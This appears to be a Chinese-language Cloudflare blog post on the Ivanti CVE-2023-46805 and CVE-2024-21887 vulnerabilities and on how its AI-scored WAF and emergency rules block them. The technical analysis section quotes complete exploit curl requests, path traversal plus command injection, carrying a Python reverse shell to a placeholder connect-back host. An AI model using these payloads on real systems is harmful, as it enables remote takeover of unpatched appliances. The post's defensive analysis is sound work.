大多數 WAF 提供者依賴反應式方法,在漏洞被發現和利用後對其做出回應。然而,我們主張主動應對潛在風險,並利用 AI 來實現這一目標。今天,我們將分享一個最近的嚴重漏洞範例(CVE-2023-46805 和 CVE-2024-21887),以及由 AI 提供支援的 Cloudflare Attack Score 以及 WAF 中的緊急規則如何應對這一威脅。
威脅:CVE-2023-46805 和 CVE-2024-21887
AttackerKB 最近揭露並分析了影響 Ivanti 產品的驗證繞過 (CVE-2023-46805) 和命令資料隱碼漏洞 (CVE-2024-21887)。此漏洞會帶來重大風險,可能導致對受影響系統進行未經授權的存取和控制。在下一節中,我們將討論此漏洞的利用情況。
技術分析
正如 AttackerKB 中所討論的,攻擊者可以使用如下命令向目標系統傳送特製請求:
此命令針對通常受驗證保護的端點 (/license/keys-status/)。但是,攻擊者可以透過操縱 URL 以包含 /api/v1/totp/user-backup-code/../../license/keys-status/ 來繞過驗證。這種技術稱為目錄周遊。
curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B
命令的 URL 編碼部分解碼為 Python 反向 shell,如下所示:
Python 反向 shell 是攻擊者獲得對目標系統控制權的一種方法。
;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';
該漏洞存在於系統處理 node_name 參數的方式中。如果攻擊者可以控制 node_name 的值,他們就可以向系統注入命令。
詳細說明「node_name」:「node_name」參數是端點 /api/v1/license/keys-status/path:node_name 的組成部分。該端點是問題主要發生的地方。
攻擊者可以向 URI 路徑 /api/v1/totp/user-backup-code/../../license/keys-status/;CMD; 傳送 GET 請求,其中 CMD 是他們希望執行的任何命令。透過使用分號,他們可以在請求中指定此命令。為了確保系統正確處理命令,必須對其進行 URL 編碼。
還發現了另一個程式碼插入漏洞,AttackerKB 的部落格文章對此進行了詳細介紹。該漏洞涉及在系統的另一部分發現的經過驗證的命令資料隱碼。
這裡可以使用第一個命令資料隱碼中使用的相同 Python 反向 shell 負載,形成一個 JSON 結構來觸發漏洞。由於該負載是 JSON 格式,因此無需對 URL 進行編碼:
儘管 /api/v1/system/maintenance/archiving/cloud-server-test-connection 端點需要驗證,但攻擊者可以透過將其與前面提到的目錄周遊漏洞鏈接來繞過此驗證。他們可以構造未經驗證的 URI 路徑 /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection 來到達此端點並利用該漏洞。
{
"type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
"txtGCPProject": "a",
"txtGCPSecret": "a",
"txtGCPPath": "a",
"txtGCPBucket": "a"
}
要執行未經驗證的作業系統命令,攻擊者會使用類似這樣的 curl 請求:
Cloudflare 的主動防禦
curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'
Cloudflare WAF 由一個名為 WAF Attack Score 的附加 AI 層提供支援,該層的構建目的是在攻擊繞過之前就將其捕獲,甚至是在其被公開之前。Attack Score 提供一個分數來表明請求是否惡意;到目前為止,重點關注三個主要類別:XSS、SQLi 和一些 RCE 變體(命令資料隱碼、ApacheLog4J 等)。分數範圍為 1 到 99,分數越低,請求越惡意。一般來說,任何低於 20 分的請求都被視為惡意請求。
使用 Cloudflare 的儀表板(安全性 > 事件)查看上述 CVE-2023-46805 和 CVE-2024-21887 的利用範例的結果。Attack Score 分析結果由三個單獨的分數組成,每個分數都用於表明它們與特定攻擊類別的相關性。還有一個全域分數「WAF Attack Score」,其考慮了這三個分數的綜合影響。在某些情況下,如果攻擊與某個類別匹配,則全域分數會受到其中一個子分數的影響,在這裡我們可以看到占主導地位的子分數是遠端程式碼執行「WAF RCE Attack Score」。
同樣,對於未經驗證的作業系統命令請求,我們從 AI 模型中收到「WAF attack Score:19」,這也屬於惡意請求類別。值得一提的是,範例分數不是固定數字,可能會根據傳入攻擊的變化而變化。
好消息是:啟用了 WAF Attack Score 的企業方案和商業方案客戶,以及具有低分封鎖規則(例如 [cf.waf.score](https://developers.cloudflare.com/waf/about/waf-attack-score/#available-scores) le 20
)或([cf.waf.score.class](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#field-cf-waf-score-class) eq
"attack
")的商業方案客戶,已經免受潛在漏洞利用的影響,這種能力甚至在漏洞公佈之前就已進行過測試。
緊急規則部署
為應對這一嚴重漏洞,Cloudflare 於 2024 年 1 月 17 日(概念驗證公開後 24 小時內)發佈了緊急規則。這些規則是其 WAF 受管理規則的一部分,專門針對 CVE-2023-46805 和另一個也與 Ivanti 產品相關的漏洞 CVE-2024-21887 造成的威脅。這些名為「Ivanti - 驗證繞過、命令資料隱碼 - CVE:CVE-2023-46805、CVE:CVE-2024-21887」的規則旨在封鎖利用這些漏洞的嘗試,為 Cloudflare 使用者提供額外的安全層。
自從我們部署這些規則以來,我們記錄了高水準的活動。截至撰寫本文時,該規則已被觸發超過 180,000 次。
.tg {border-collapse:collapse;border-color:#ccc;border-spacing:0;} .tg td{background-color:#fff;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;overflow:hidden;padding:10px 5px;word-break:normal;} .tg th{background-color:#f0f0f0;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;font-weight:normal;overflow:hidden;padding:10px 5px;word-break:normal;} .tg .tg-dgl5{background-color:#FFF;font-weight:bold;text-align:left;vertical-align:top} .tg .tg-ktyi{background-color:#FFF;text-align:left;vertical-align:top} .tg .tg-0lax{text-align:left;vertical-align:top}
Rule ID | Description | Default Action |
---|---|---|
New Managed Rule…34ab53c5 | Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 | Block |
Legacy Managed Rule 100622 |
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 | Block |
規則 ID
描述
預設動作
新受管理規則…34ab53c5
Ivanti - 驗證繞過、命令資料隱碼 - CVE:CVE-2023-46805、CVE:CVE-2024-21887
封鎖
舊版受管理規則100622
Ivanti - 驗證繞過、命令資料隱碼 - CVE:CVE-2023-46805、CVE:CVE-2024-21887
封鎖
影響與最佳做法
Cloudflare 對 CVE-2023-46805 和 CVE-2024-21887 的回應,表明了採取強有力安全措施的重要性。建議使用 Cloudflare 服務(尤其是 WAF)的組織確保其系統更新為使用最新的規則和設定,以維持最佳保護。我們還建議客戶使用 Attack Score 來部署規則,以改善其安全狀態。如果您想瞭解有關 Attack Score 的更多資訊,請聯絡您的客戶團隊。
結論
Cloudflare 使用 AI 識別和阻止攻擊的主動網路安全方法(其對 CVE-2023-46805 和 CVE-2024-21887 的回應就是例證)強調了如何在威脅和攻擊公開並披露漏洞之前對其進行識別。Cloudflare 透過持續監控和快速回應漏洞,確保其客戶在日益複雜的數位環境中保持安全。